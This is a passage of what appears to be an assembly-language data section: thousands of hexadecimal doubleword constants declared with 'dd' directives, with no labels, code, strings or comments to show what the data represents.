4F8A37C1h, 0A22A0F50h, 45E9581Ah dd 1130D028h, 680E7C61h, 60026706h, 0F5147054h, 0BC2A543Dh dd 87EB00F6h, 158A1FE5h, 0BE007D5Bh, 11A2C6B4h, 396BA20h dd 42472F5h, 14A053EEh, 0DC558D74h, 9A6530E0h, 602FBC31h dd 20B92690h, 1B818A00h, 6E8FD416h, 0E73389C0h, 0CF4200Ch dd 8EF8B312h, 0BF008F18h, 29ED2E51h, 1616DB4Bh, 5FE69E2h dd 0C2D3B864h, 84A2675Bh, 0EEC032C2h, 557B9F42h, 25203C00h dd 0E6387E12h, 600D728Ah, 315D9830h, 5B35644Fh, 648CE904h dd 0C59A00BEh, 904C23C7h, 52385065h, 0F50C898Fh, 978C101Fh dd 0EC704404h, 0B02AE63Ch, 8D8B08EAh, 46091D6h, 805A335Eh dd 0AEFA4ECBh, 0A687061Fh, 39490D18h, 0EACF00FDh, 0D6D92570h dd 690735F5h, 12BA8140h, 0E056C6h, 307DA934h, 75DA2215h dd 8B5FF01Ch, 0AB12F680h, 3C725Ch, 21665D91h, 9FBD01BFh dd 6F67F500h, 86FE6413h, 3FD7F2Ah, 9BCE0F7Eh, 0EAF84120h dd 0BF0CB769h, 2065FED0h, 4EE249h, 7A2925F6h, 72A93553h dd 8037CD37h, 662AC080h, 2D250CE0h, 0DD204DA6h, 396922h dd 0D1951546h, 0C30C2AE8h, 36065Ch, 0DCB1B9EDh, 37583A14h dd 60D195F9h, 0CF728208h, 40A42430h, 0C0032B3Ah, 8A43DD79h dd 3C6054BDh, 4C057D10h, 379A3A18h, 2DCD9B00h, 7AB5E995h dd 5E42E400h, 0D9B4DEE6h, 840831F1h, 358CE58h, 356100DCh dd 0E70BBE07h, 6E00BC48h dd 145DFBF6h, 0E2F959D6h, 5B68C331h, 403E8B08h, 554054h dd 35F16F24h, 0B1F2197Eh, 5C79EE19h, 0F81CF611h, 0C995B741h dd 7D0E9454h, 0DFE7A683h, 915C26B2h, 58008D79h, 138AB7B3h dd 0E6D8C41Eh, 0F3880117h, 91C590A0h, 0CF4DC0C7h, 2BD6C906h dd 514CBFh, 0FAAEF6CEh, 6115113Ch, 60B9433Ch, 5CF70959h dd 0A4EC5257h, 0C0D1DB1Dh, 0FDF0764Fh, 580A1D2Fh, 0F47BA1D9h dd 55413F64h, 0C0A620F4h, 2306A837h, 50A41A54h, 0F7D00079h dd 69CF2128h, 0D1286CAAh, 231F08DFh, 1B40F804h, 0BFB46FA8h dd 0F35201C4h, 151DB82Ah, 3269E084h, 402D69CFh, 6285E16Fh dd 0B45701FDh, 0CA09F859h, 2C46E6A9h, 6012FA00h, 9E23A104h dd 1D110714h, 0EAB24213h, 40540A78h, 68BD40B4h, 270B4512h dd 8FF90AA2h, 5F15C0DDh, 7B010240h, 93CA306Bh, 37536230h dd 58C2B700h, 2E302FB9h, 54A118D1h, 4315149h, 91CBD050h dd 2C0AB090h, 9C75273Ah, 1236C442h, 0F4BDC961h, 4B06595Eh dd 487602CCh, 4978B528h, 0F0651403h, 0A09B94B4h, 0BB2A52h dd 0AA584BD8h, 0CF0A575Bh, 0DD8BFD01h, 0EA2D157Ch, 0A0784AF4h dd 0AE0BA0h, 0DEC96D29h, 6E7E7C17h, 62FC0900h, 1A4F22D6h dd 882E543Ah, 0FEDC0CA9h, 2A11AC8Eh, 1089BF00h, 0C751E75Ah dd 957422Bh, 4132F4Fh, 0DB403BE4h, 5C03C6C8h, 84ED9000h dd 1BDA1C79h, 0BE290059h, 45745797h, 0AC91B743h, 7926B100h dd 60D72F25h, 0D1618052h, 0EC0091D9h, 562A6A42h, 51950B7h dd 2BCE280Bh, 0D00805BEh, 581405F1h, 7D984FFDh, 160B10Ah dd 625DDC09h, 5822F7h, 0AC8C8FFCh, 781C19B6h, 86750BCh dd 22906Bh, 0C3A88243h, 0DC9BB9EAh, 0D825F00Ch, 2EDB417Eh dd 309FE1C7h, 19962A11h, 3877603Ah, 5ACB0048h, 84C71067h dd 1F132803h, 68C61DD8h, 0D8C41C54h, 92C5A93Eh, 6017FEFAh dd 6E00FB9Eh, 665EC14Ah, 4E37A0Fh, 22010D1Bh, 0F47CC0E2h dd 1C06114Ch, 5BDFF7C5h, 0BE6438E1h, 0AFBAE980h, 7A738445h dd 0FD007E74h, 0D15A2942h, 24BEF096h, 2910DC85h, 0C0AA1CF4h dd 0FE4D18C7h, 0BE24308Ch, 83090F4h, 0A1A510DCh, 0D81033ECh dd 9D0C8FA7h, 0F97683A6h, 497A0068h, 31DDF1DCh, 450119E7h dd 9DF40B8Ch, 64204737h, 212506C9h, 8C22622Fh, 2A40FD50h dd 8048BA4Ch, 0C14D08CAh, 59DF30F0h, 29B25621h, 0D2958A00h dd 10115596h, 335A1736h, 243800E5h, 22642F01h, 0F7D15C15h dd 91BC212Ch, 0A7DC1138h, 8B1EAC01h, 0D8C230EEh, 0F97F898Ch dd 657511F2h, 4A245213h, 24F8D822h, 0B93CC868h, 8138D02h dd 40F65769h, 13F41BCCh, 20ECB76Eh, 308EFCDCh, 5EB231C2h dd 0A1D88419h, 77FDEF40h, 0B400E6FAh, 5F22670Fh, 0E478C01h dd 6A0D8621h, 93CD7923h, 0BBB781A8h, 28F4838h, 6F897CE1h dd 0E4622Ch, 3583C32Ch, 21289A73h, 0F003CD3h, 0DBED6EFCh dd 54F10264h, 0B64221FDh, 0F03E8C44h, 88E84DE5h, 0DD927Fh dd 945F8C0h, 0CD010A7Ch, 0BE23C4C9h, 182330C7h, 3A9D7203h dd 39007382h, 27B5565Ah, 87D4B0h, 0B6E4B254h, 0B486470Eh dd 43FDB31Eh, 58811518h, 0D84B48FFh, 4ABD19Fh, 0F1D164BEh dd 63DEC480h, 5CB648AAh, 18420840h, 0E054F556h, 0F73F6E88h dd 10578CF6h, 16289A2h, 6809CE29h, 75AA9369h, 7210EA10h dd 942C55C9h, 79820E21h, 4314A815h, 77F20140h, 57B12900h dd 3699BB8Dh, 86C70E71h, 0F474B78Ch, 0A000F48Bh, 0DA90DCFFh dd 8263AC00h, 2855B0B4h, 681400C4h, 1956C201h, 9CA438C6h dd 80A08248h, 4A14C98Eh, 0AF6E00F3h, 0B6252069h, 0FB01C8B3h dd 2F3C73F5h, 0F3C82260h, 7F871DF7h, 13E140D0h, 502A0DF9h dd 271DDD0Ch, 13FC187Ah, 0B19EA18h, 0A0004DFCh, 59BDA6A2h dd 6B681C09h, 0AC7C80B5h, 0F402D836h, 96CF0CE4h, 7EC2140Eh dd 0B16F2A00h, 2827801Dh, 5454F8E6h, 0B0D04Ah, 4DF94895h dd 5F82465h, 0F88D1625h, 694B29Ch, 7BD30A35h, 0BE0F4A95h dd 0E11744FCh, 696622F9h, 0E84E1072h, 8B240019h, 1E557F6Eh dd 4754300Ah, 3AC62769h, 0FF6AF500h, 67EAE9Fh, 3F8CB3B2h dd 0E00A209Dh, 0A680A491h, 69BEB2FDh, 0FFBE0EBh, 79ADB9BCh dd 94F1F6E0h, 2C0D6050h, 0B82E0DA0h, 91613AE1h, 0EADD1424h dd 4173268Fh, 442400D4h, 16C9F4D1h, 0A4A0B0Bh, 59D581DCh dd 0EC24F2FFh, 0C032F5F3h, 0A363AA00h, 9488BC75h, 2B73Ah dd 0C9360F2Fh, 1667B351h, 169F6CCh, 725752D4h, 0BD80604Eh dd 0FE5901FBh, 0B2218423h, 4554983Ah, 3BD319h, 0C1DA0820h dd 0E1090387h, 935C3004h, 48905EDFh, 0CA42F558h, 40B86831h dd 4CD336C1h, 0E644AE00h, 0F8E0479Bh, 85CC0A30h, 1118517Ah dd 43007D39h, 3176C98h, 3BF31D8Dh, 0BC00146Bh, 0B98FF4BAh dd 0CE3A19AEh, 68DD0CF0h, 7A3927h, 0D2B89C89h, 5DED0193h dd 0CAF5D900h, 535B90E2h, 0C6F002A2h, 0F25857F3h, 0AC46F892h dd 27BA2002h, 68A06BBEh, 5CDB092Ch, 0DC072198h, 0C32ACFD0h dd 317A4ACEh, 80808494h, 73F57C3h, 158C0052h, 0FB43AF23h dd 5E09E332h, 81B22F51h, 8F7B1F28h, 2B28E0E2h, 0D0295017h dd 8228B8FEh, 57C4208h, 0F0888214h, 0A250001Ah, 0F3E33B7Dh dd 0AB00A3D8h, 0C4B057F4h, 0E092DCC5h, 1DCA48Dh, 54F8BEAAh dd 9044F958h, 0D0806BE9h, 70EEA53Bh, 58C3FF02h, 50998257h dd 43543090h, 0A6223131h, 0CD0DB900h, 4776C83Bh, 0FB4638A0h dd 107983Dh, 30F51D84h, 7F51296Fh, 0FD96C203h, 0C0E94164h dd 9BEB54Fh, 12D42863h, 0E2199418h, 0D70AA501h, 2A89DC11h dd 0AE41F0h, 44F4AF9Bh, 0CC622358h, 4D205B03h, 3A69C4h dd 1C8281B9h, 9D6F30Dh, 8797C200h, 16390429h, 799300CAh dd 0F41965A3h, 90007581h, 5BFCAEDDh, 59A561h, 91E1B443h dd 1C3A8A0Ch, 76B95812h, 80682422h, 1805BFD0h, 0FC708102h dd 284512C7h, 0D9D00801h, 0F0581441h, 0B4219C23h, 0CDF6B101h dd 18314C7Bh, 2036B3D5h, 282DC013h, 4E40EE04h, 68C64872h dd 51A6DC86h, 0A30CC900h, 721C3C77h, 4B76044Dh, 0A075B65Fh dd 0BE884864h, 7B7E4024h, 2C285841h, 618BEF80h, 4603DFE1h dd 84AFC050h, 222BD88Dh, 0EE4570F1h, 0F23E0024h, 3B19A66Dh dd 180009DDh, 1110FC7h, 3A53B81Ch, 0EFBA34C5h, 0A9256918h dd 0FA008B51h, 8CA6F7B0h, 782A319Ah, 8A350BD8h, 0AC3043ECh dd 4CB964FCh, 9C68BC19h, 5C55CF70h, 0A0C050F9h, 207395FFh dd 9E0659E0h, 3497CEB3h, 0EDB40B39h, 0FB002C91h, 85B75E7Ch dd 47F708A0h, 5DC6E48h, 0DC400299h, 601F544Eh, 47989BCDh dd 0B44A007Ah, 0CBECE62Bh, 84E0328Ah, 91FD9C00h, 0F9B5229Ah dd 0AE1D18C3h, 93177071h, 0FDAFD900h, 4449255Fh, 0A82858C7h dd 108072C8h, 67929BACh, 2975E6h, 0ECC6BBF7h, 0B145669Ch dd 548B7500h, 50C3ACE8h, 90CC501Bh, 401789AAh, 82E25FAh dd 6EE05CF1h, 9ED60500h, 44FD6CE0h, 7C6900EEh, 4CD86DB7h dd 0F105D074h, 5D182FCAh, 19877F85h, 58B03F74h, 8808A256h dd 0BE091460h, 0C846CCh, 1FF55422h, 0BB43C4E4h, 82134091h dd 6ADFA8D0h, 9A6900F1h, 457BA0C7h, 8C9F621h, 864F0h, 0A7B5792Ch dd 66A2809Ah, 0C964BA00h, 4397672Ah, 0AA0B0483h, 0B4825411h dd 210B8F88h, 8248FE52h, 40CEBF76h, 316C48h, 0DAA664E0h dd 6A30AD1Dh, 6974781Ch, 0E52790C0h, 934C7Fh, 0BFDF1005h dd 0EB51C5EDh dd 0C9611500h, 6F13AB83h, 65B20E3Dh, 6CDB38Bh, 10B80910h dd 24B43740h, 0BD918800h, 0D1582263h, 18CA4F3h, 64CB82Ch dd 0C8201945h, 27132E4Dh, 98301511h, 202F129h, 0A4969AC3h dd 98CCD0F5h, 0A004624Eh, 80898CFCh, 1900E033h, 4F1AFA52h dd 6F00B6B7h, 48E09A47h, 0E82075E3h, 44F60112h, 6AF41F11h dd 52FAB7h, 308AFE02h, 0C12F2920h, 6C62FAF0h, 4EC0DBCFh dd 0CE4628C2h, 689031B0h, 0F144C49Ch, 24113400h, 0C0182F19h dd 95617783h, 8772F0h, 0B58F66DEh, 226DC51Fh, 8C015A12h dd 9B2E4C8h, 79E1B1F9h, 0DF54A468h, 477720h, 129DCE0Ah dd 576EF714h, 0FCA41A2Ch, 13FB2840h, 49CA5A72h, 0BC0FCCD4h dd 0C692BC20h, 9013E4Ch, 228F45AFh, 0AE06795h, 266933DDh dd 50C7B031h, 50BF6F31h, 46F88F04h, 0F680A49Ch, 5C1CCE0Dh dd 73C0F075h, 3264E6EAh, 0FB890B02h, 40AEF252h, 72DC8BCh dd 7EBC4C51h, 0AFCFD319h, 3BF8E2B3h, 3A00F278h, 0CD28260Ah dd 42C247h, 90107454h, 0F0ECD35Ah, 180AC82Eh, 0FC52CF00h dd 1F3C8D60h, 0A5428B1h, 42FC99CCh, 0E8A2E11Ch, 0C491B92Ah dd 9E1038F3h, 67181F40h, 3F6A24Bh, 0CA6ED310h, 52B8ACD5h dd 0A5000F6Ch, 960A7CEBh, 49315C59h, 2101E012h, 0FC81BC2Fh dd 0B638428Bh, 0B943CCB0h, 0B695E6Bh, 0D81684h, 0FF5E8818h dd 0FBFC6FF5h, 78823E12h, 47B10840h, 0F1C08B5Fh, 58C64DC0h dd 7214A0CFh, 0C98EE0CCh, 6C480A92h, 0B0424170h, 0FE5811A1h dd 57060022h, 617C2725h, 1800685Bh, 2BDDC9CAh, 0FD4086BAh dd 5D688014h, 0CB1B5C0Ch, 8071F850h, 9143FC8Bh, 3840EB20h dd 8BB700F0h, 4A62992Ch, 0A0E2D1DBh, 3354F1E1h, 73EB00E0h dd 28F68446h, 198E821h, 0D16563B7h, 60BFF9C9h, 95017828h dd 59CF5362h, 0A04841F0h, 6E6D8838h, 0D3EC2900h, 2FF12AB7h dd 1ACD13E6h, 787488F2h, 170518Ah, 3BF12365h, 51407052h dd 53C87CA1h, 0F1E8F0B4h, 541426E2h, 1310A210h, 70C2CE50h dd 441478B6h, 3901113Bh, 985D074Eh, 0B1FCA637h, 353C2D82h dd 0C4A0889Bh, 8A8A71Ch, 700ADFFh, 0FC096FF9h, 5E1B6Eh dd 0F6417D6h, 13E889A3h, 0B3C7DC04h, 0A8C01E67h, 9EC87209h dd 3C8C83D4h, 2398F22Ah, 0B902F145h, 0D13DD8DFh, 2C70E1A1h dd 52FE5510h, 7680D0B1h, 17A63A3Bh, 0AB810040h, 292E746Ah dd 7D0086D6h, 9BF461F0h, 2C324FF1h, 0C8903Eh, 0BDB7776Ah dd 1011C6Fh, 697514B5h, 5E100E82h, 22005040h, 0E6C03C6Fh dd 39B1D043h, 21CECC12h, 0CDA02C28h, 2AC87314h, 1C91CCB9h dd 0E9F9B880h, 0D1C5F0h, 52F72C73h, 257B2640h, 80982B4Ch dd 59EF1768h, 88D649FBh, 0FFBF5B02h, 8084257Ch, 44E265h dd 0F0224641h, 9E301E0h, 80241F6Bh, 0B3428C68h, 0C0A950B6h dd 4573B481h, 8CC070B7h, 3773BFh, 2F31AA76h, 0F77C1225h dd 0FCA5100Ch, 6808E4h, 0DD6CF006h, 0D8F58EEAh, 9D48B9E8h dd 0AF661864h, 45213A60h, 83F8280Fh, 89EB2F70h, 0AF601FFBh dd 6FD01D59h, 2D2546C5h, 72163101h, 682922C2h, 8FBFDCh dd 0CFC176C9h, 3DE810A0h, 0E22BA803h, 926DF646h, 0E4AC1514h dd 1D1C9600h, 8834CB72h, 0F853E054h, 0F3B167D8h, 0CCA7ED70h dd 31D90126h, 125CFF0h, 5BE8602Fh, 84F2D121h, 0C0B24CBBh dd 5854F7F4h, 494FF330h, 95ECB9EDh, 0BC91C18h, 1220E0B2h dd 0DC0948FEh, 0FF84E9C4h, 582F5180h, 600899F5h, 736CC962h dd 46F6FD03h, 0F0A40B86h, 5B24540Ch, 2C4C2C29h, 0D076B280h dd 0D042B8A0h, 0DB96EAC0h, 8C003FF1h, 4399C1FCh, 0C2B9A5A7h dd 8EFE5B50h, 284BAA10h, 4CB4B1F6h, 0C11628CAh, 1DD49069h dd 640E3F35h, 0E2AAB9ADh, 90712C3Ah, 8A32CFF0h, 5487D0D9h dd 62C4E303h, 33ECACC0h, 0AA3F3EC6h, 0CA57C593h, 13012274h dd 21A82768h, 62F0581Ch, 0B95C1F04h, 0E137548Bh, 0FB104660h dd 74005811h, 8F719849h, 722BA4CBh, 0A0253ABCh, 1AEC5080h dd 0E251D2A5h, 0B7B38h, 58D7C3B7h, 14B3F46h, 0E5784A73h dd 87272F6Fh, 5D832220h, 0F8BC4320h, 40814A54h, 65FBD170h dd 9D2F10FEh, 713410CDh, 0E6297D67h, 18F500DAh, 129203E4h dd 8900FFDCh, 6B3D15C4h, 2CF74442h, 1E44B21Fh, 0D00B169Eh dd 16B45E14h, 0EF9A721Eh, 5CFDCBC0h, 7CD00144h, 8DFC1C33h dd 56E380EEh, 29C0B8BFh, 0DD08C404h, 58A4B243h, 72F6120Fh dd 6984B057h, 2652122h, 59BA4CB5h, 0B8C43DFCh, 8288B878h dd 0C0C9DD77h, 0D9134A01h, 8D3FD75Eh, 0A9E0050h, 9EAC6CAh dd 3ECF00A4h, 64F1C31Dh, 3765D801h, 58C7F438h, 0D159C412h dd 0AE2C00B8h, 4C831E30h, 0CD78A500h, 3E1C0D4Ah, 0C3A70163h dd 6471F41Bh, 2F022F1h, 2C6C907Ch, 0A67041BCh, 48E4DF02h dd 2E461D00h, 0C5D5439Bh, 8BB80024h, 5679F7BDh, 6004C39Ah dd 0A82839CFh, 0EC6E9C82h, 0DF571130h, 858103A4h, 8BE7F9FBh dd 20D3D8F2h, 5D7C9052h, 652E58C4h, 84C39060h, 3A4224C6h dd 80567729h, 0FA678BE0h, 0DFB611C8h, 0FC3A015Bh, 0F812FD87h dd 1ED555DCh, 9ACF93h, 8E897E8Fh, 6C26FCCDh, 906470AEh dd 0BE09201Eh, 0BED2D54h, 0ABCC04A4h, 0CDBAB540h, 5613B214h dd 8DC374Bh, 0F78C00C4h, 59161AACh, 4905DFC9h, 0F411F1C7h dd 69B53882h, 90402CB0h, 96550ACCh, 0AFA054h, 0ADB24FE0h dd 93C5BAC0h, 5A99E702h, 7A5417FDh, 2D470068h, 9EE9F572h dd 430EC4AAh, 82DC9382h, 0D1615883h, 287C1688h, 10000E00h dd 0B4980BADh, 0A7E854h, 19651B96h, 0ED5CB6CEh, 0A8FFC1Ch dd 0B4247040h, 12F68985h, 0FA7C1F49h, 1408DD10h, 2E1467FCh dd 902D54C9h, 1114E6B0h, 886961h, 66A60F55h, 5EBC25EAh dd 349460F1h, 2E00F011h, 4AB0FD55h, 0EC5CDDD0h, 0E93C0063h dd 0B1B54852h, 0CC0B2862h, 18C97215h, 94F45900h, 504A5094h dd 0BA763D00h, 0C66B323Eh, 1410F902h, 242E1147h, 4247CC71h dd 8088D24Fh, 6968893Fh, 0B72B0070h, 49C51513h, 5634007Bh dd 0D2EF8F14h, 0F430D50Ch, 18C82817h, 93A0004Dh, 0D03D2A32h dd 672D6AF3h, 0E62B70D2h, 4223425h, 8040B889h, 54DA613h dd 8BE739FDh, 0E170A480h, 1C977698h, 18146707h, 8AD30350h dd 3CE9E8A6h, 0F26E0AAAh, 2C4E41Fh, 48D43538h, 127C10C1h dd 0E43C5C68h, 6C1E414Dh, 51EAB87Eh, 9168A400h, 0B32A00A0h dd 7C709427h, 74B14C42h, 0CE480A8Ch, 2A59F4A1h, 64601039h dd 1DC02E0h, 0D1CCBBBCh, 1CEB8C80h, 0C6784904h, 2930F100h dd 0DD121520h, 4B380196h, 8FB4FD57h, 5ADFFCE4h, 226871C0h dd 0CF040Eh, 0F71DEE74h, 4A1AA783h, 4FF13Fh, 0C042AB58h dd 0AD0642Ah, 50EE2C25h, 0DBB58044h, 0DC46E599h, 1CD9D120h dd 812A56B7h, 16242389h, 40246C50h, 0F150D008h, 20978214h dd 0BC7E02C8h, 9EA3023Dh, 99CCD329h, 34124444h, 0E0CDC4E4h dd 588F5C28h, 0A5E864C0h, 19039AA0h, 0F851DFFh, 0F1149AD4h dd 482FC078h, 0A11FD6FDh, 349954D7h, 30103321h, 3171EB5Dh dd 4AB1B3Ch, 3CF6BA1Ch, 581D5CE6h, 0F8F9225Ch, 3700452Fh dd 0A51FE13Eh, 130D019h, 71D2ED4Dh, 33F0C43Bh, 0D61C00F8h dd 0B673DBECh, 6D7E0033h, 0D4F33724h, 463E22D0h, 8EF88BADh dd 0F0D01383h, 71087B05h, 0B990FF1h, 419297CEh, 0F692141Ch dd 0C0AC3934h, 0F88EF962h, 79A563DFh, 0D4923433h, 8C8600FFh dd 17BBDCBh, 3FBE2A57h dd 40E56301h, 3CA8BE4h, 51DE0748h, 10080428h, 804B14ECh dd 2DA14684h, 0F1DD0904h, 64BC2125h, 0C190249Eh, 552BC872h dd 8F24F398h, 41D58080h, 651DFA5h, 3D21D827h, 36005CAFh dd 243A7CFFh, 0B823ED88h, 8F2091B0h, 0C0FC7982h, 87B0ACDBh dd 4E0049D1h, 0FEF741C8h, 1547395h, 58344B59h, 21C216F9h dd 80B06CB0h, 7B1A07A8h, 5B5F00A0h, 4F102C14h, 9C4B8302h dd 4AE2745Dh, 85744054h, 66F5CEC5h, 0FAEB2400h, 0B0B20B90h dd 0E7DB00A0h, 9C0FE441h, 8805CD72h, 0C3536287h, 55C9D8C0h dd 10DB008Fh, 9B327338h, 5D03EA37h, 13AE754Fh, 7CE9E051h dd 0B56C028Dh, 223064FEh, 46B4FCC0h, 6AA81900h, 0B7F9CFB9h dd 0F29409EBh, 0DC841CC4h, 455493Ch, 0F04C507Ch, 612DD28h dd 8A004D20h, 11FFF762h, 0FC280069h, 0A4A2EA8Ah, 0BA2F1FACh dd 0B25C18C3h, 9F4B8CFh, 1FCE16BEh, 9750000h, 0C90C7D1h dd 27DAAF00h, 6FFC6C4Ch, 0AB0100F0h, 0DBDB44Bh, 0A158303Ah dd 0F9C70B78h, 94D00051h, 17E429C6h, 2069DD14h, 1D155E3Ch dd 0CA001979h, 844C3121h, 5AB7F5h, 57798F82h, 67CBA81Ah dd 0D39087A0h, 6DBDA200h, 0E2582936h, 0F63BB8F4h, 0F5C800DBh dd 55A96F68h, 0C401C3F9h, 0E7B4F061h, 0BBC8438Ah, 5A64E0DCh dd 57442811h, 54B39904h, 1080E179h, 91F2675Dh, 69FC0068h dd 1D880CC9h, 28BA343Ch, 0BF260891h, 0B40850ABh, 4076445Ah dd 84026D12h, 11970352h, 0D672C329h, 0B14CC1FDh, 58184775h dd 591F9880h, 0E6CC3CFh, 93CA9654h, 0EC2E63C0h, 6A0791CDh dd 0FCB9E77Bh, 8410CEA7h, 611621Eh, 6DF5DC2h, 7344517Ch dd 78900A7h, 203E7565h, 45009F24h, 6DC97A14h, 0C21C095Ch dd 2F012228h, 86F624E0h, 2B70809Dh, 0E1CF0A2Ch, 8E40022Bh dd 347E226Ch, 1375213Fh, 13A4B3D0h, 0DC2398CDh, 4C268030h dd 6DAA003Ah, 78745225h, 510C3642h, 293D69C5h, 0A74B001Ah dd 86E0E5BCh, 894B743h, 3392CB41h, 0C281807Ch, 950B9E1h dd 0F0C30800h, 0B0B1DCh, 305249FBh, 421D31C4h, 44679482h dd 986F00A8h, 0BAA6D91h, 840001DBh, 5288F57Ch, 4906312h dd 2C2992C2h, 61C0CCCDh, 0B4000374h, 0C48B86C6h, 57E98DDh dd 0B532E7E2h, 83AC85BEh, 0BCC978E0h, 14DE0062h, 481FE2DFh dd 84184B4h, 0C14B8A0h, 0AD5D0164h, 140412B9h, 0F4586F86h dd 60685CA4h, 25DFB93Eh, 0D300F574h, 0DECAB972h, 307B2C38h dd 5408EC07h, 0B8046F2Ah, 0F025F3F7h, 0C0B46885h, 0FA5880FEh dd 0F3593860h, 2D2AF452h, 0C0A0DFB6h, 1DAD6264h, 84DEA901h dd 0D25B01F8h, 83EDAEDh, 0AA84AF4Ch, 28C5C74Bh, 5507ECB3h dd 40934923h, 540B4F9Ch, 2BA61C27h, 94580074h, 0C6E80F4h dd 23C57214h, 9C91DC39h, 21E6D500h, 0F2DC05Bh, 1368907Ch dd 9C15DC40h, 0ED25A9D1h, 0F2202054h, 7D79C448h, 97221F4Dh dd 59364019h, 95FB1B99h, 0BEED4B01h, 0AFD4C9CDh, 10278829h dd 80CA78A5h, 38C9C1D0h, 81002CE9h, 5FEBFB2h, 12AAD4C0h dd 90253DBh, 2C604C8Ch, 84A4DC4Eh, 9268000h, 8E21877Ah dd 732D2625h, 0BA6894BCh, 4DF9590Bh, 85730A0h, 0CF7272EBh dd 1B80DC94h, 9CAC7DBh, 2657FAF7h, 80CB775h, 70917C7Fh dd 78E34001h, 0D4FEB787h, 8601AA18h, 0EADED047h, 42E4A80Bh dd 390362B1h, 34F1F858h, 13765207h, 0FD2E2531h, 0CC72A185h dd 5EC0222Fh, 92831420h, 474008Dh, 0FF46ED9Ch, 0A1058BACh dd 0E2B8BB0Ah, 0DB50D382h, 4D2803D4h, 117F4EA6h, 7E24C613h dd 79221404h, 0C0C7DD47h, 0B29ACF0Bh, 4F00EA7Bh, 8AFD98CBh dd 0FCD0F2Fh, 5B7AF89Ch, 6B296CC0h, 0B00BB51Dh, 0C5331Ch dd 68889318h, 554C3E3Ch, 57F2CD81h, 42B3210Ah, 0E45C2ABCh dd 146FF0E0h, 989100BDh, 0F7C229D1h, 4D163B0Bh, 6C95C673h dd 1FC06060h, 441900A0h, 0C3D008DEh, 5BF42E2Dh, 0F5552200h dd 1C7E82F7h, 0E9410462h, 0B42D3A43h, 69266108h, 0C9845CC1h dd 8B4550Ah, 1F6DEA2Fh, 254BA09h, 0E207F1C3h, 103E80C1h dd 4C80E912h, 370443B2h, 80E85899h, 0C80BFE0Ch, 19519500h dd 9FC2184Bh, 85D50FCh, 0C082041Ch, 0B42625F0h, 8978AB10h dd 0F11262F4h, 0BCD180DFh, 5B1051F4h, 939E854h, 6868B1E3h dd 34600BCCh, 224600CDh, 0D8B1B7F2h, 0FCE24903h, 4FF16B03h dd 0A8654576h, 0DDD1Bh, 1178701Ch, 9C2C7FF9h, 804AA73Eh dd 91163610h, 7F4DB00Ch, 46C80025h, 0C5E03776h, 7C05E5D1h dd 2A27EDC9h, 8FE38880h, 0CFC8122Eh, 6AA0C809h, 1D20393Eh dd 0C131DC1Dh, 5DC0CAB5h, 0EED2F821h, 70BC1712h, 0CE610033h dd 1DCF903Ah, 685DF200h, 0C5E1BF60h, 0B0A2E491h, 0ED520194h dd 0B3BC5330h, 80006CC2h, 71FB4670h, 94320585h, 2118DFBFh dd 1045F898h, 0EA52F5F3h, 5C2E7CB4h, 0C3C0ACFCh, 310BA310h dd 907EEC0Ch, 0FC6270D2h, 0FEF004h, 6D5B2A7Ah, 0D0108E17h dd 18C1C224h, 6C221503h, 0A4B884C7h, 0BF800C88h, 0E8DDA6A7h dd 0EB8501B0h, 9BBB97FCh, 81A5ECB3h, 905F5D09h, 2B0C9083h dd 0B99900CCh, 1E260866h, 50E4DC29h, 0BBC6310Fh, 38C1760Fh dd 421244F1h, 123E4471h, 90DC50FEh, 7AEC02A5h, 0F8823D41h dd 282E2841h, 803F8880h, 2F8409DDh, 0D303E6DBh, 0D7988A32h dd 9A74A8CFh, 6B104A7h, 0E89DF44Fh, 71258000h, 0F222662Fh dd 22F15BD1h, 5604BEFCh, 10652349h, 0F1BD5200h, 0ECC17C40h dd 0F6721F3Bh, 0D88987A6h, 0B2820F3h, 0FF79CBBEh, 220120B9h dd 0BABFF743h, 5C611071h, 4E47944Ch, 2664D0DDh, 677EEF6Eh dd 80CFD238h, 0FE4E1D15h, 9B483A3h, 43DC46B8h, 1478D4C4h dd 6BCF8F25h, 96B82F9Ch, 649ED42Eh, 33113ACh, 81B7EA5Ch dd 9658A04h, 0F4C2F8DCh, 229604BEh, 4850210Fh, 42A8DC3Fh dd 933ACD38h, 7C007818h, 6C85A4F3h, 585409A0h, 0E0F94AF6h dd 0C4944C20h, 0DC086707h, 42CD14Bh, 1287F59Bh, 27F9030h dd 0CECD3DB2h, 6E9E403h, 56A0F477h, 0A0F8B7FAh, 62AE9D00h dd 94AD7C2Ch, 496C271Ch, 7CFAB069h, 0A898C01Ch, 0BD295760h dd 4F1F3422h, 288CEA20h, 0BA421272h, 0B789CA7h, 0AC8B0E00h dd 85DD22BDh, 61AEA2DCh, 840C029Ch, 0CC117381h, 0BFC9010Ah dd 22F73090h, 0B842141Ah, 7122345Bh, 59629207h, 6C502DBAh dd 0CB9B2A6h, 8621BD16h, 50400AB0h, 4FC75F72h, 0F2F63A60h dd 34C511B4h, 6276167Dh, 66000C2Dh, 4309DD39h, 0C0DC9882h dd 5475F8Ch, 8DFD1A0Ah, 14FC06F9h, 6E44A8FFh, 8C08315Bh dd 5ADB8D8h, 42C60C8h, 0FA119656h, 2654E2EAh, 0B900EAE3h dd 5C1965F5h, 1FA30068h, 0DB59AE0Ah, 0A8581B15h, 638A7CECh dd 0DDD1E094h, 0F03F0678h, 0D17F0167h, 1451C439h, 0E87C24h dd 0F43CE9E8h, 0E4F16132h, 34AB2C1Bh, 9B13C0h, 5BF5695Ch dd 0BA06296Eh, 0C6B114E7h, 0C1B609E9h, 6090810Ch, 0FB121F82h dd 74006EDEh, 0BF1866A8h, 0DFD3006Fh, 0D1C29DF0h, 0F0AA6C1h dd 8C171B9Ah, 0FA219510h, 0E4695C02h, 80EC5C50h, 4028A18Ah dd 5A73EA4Dh, 1E207258h, 7F849471h, 7C85CCC8h, 7E894C8h dd 21C5A0B4h, 0F981C0A1h, 6E0BFDB1h, 7A5415FAh, 0B8AF0054h dd 9B3BA0FEh, 0AEA1C6AEh, 0C0306932h, 7694E708h, 1BA700AEh dd 632D7F15h, 3F09AC80h, 0E4A82279h, 0B2384448h, 7F80891Dh dd 0FC3E900h, 764A3233h, 277C90h, 7A84FC18h, 0DD9D355Ch dd 380010B5h, 8AF00A6h dd 6096F295h, 0A7002556h, 0DC116EFEh, 48E48AFAh, 0B00F4C15h dd 0B126CB43h, 2B01084Ch, 0C56355Bh, 593002C9h, 933797Ah dd 6A60F4ADh, 7F1848C4h, 0D19AB6DBh, 2EFE8C4h, 68EC70D2h dd 452BA43h, 0C872093Fh, 7ADC8978h, 46EC1360h, 57C8B46Fh dd 0FEC00116h, 0B50690F2h, 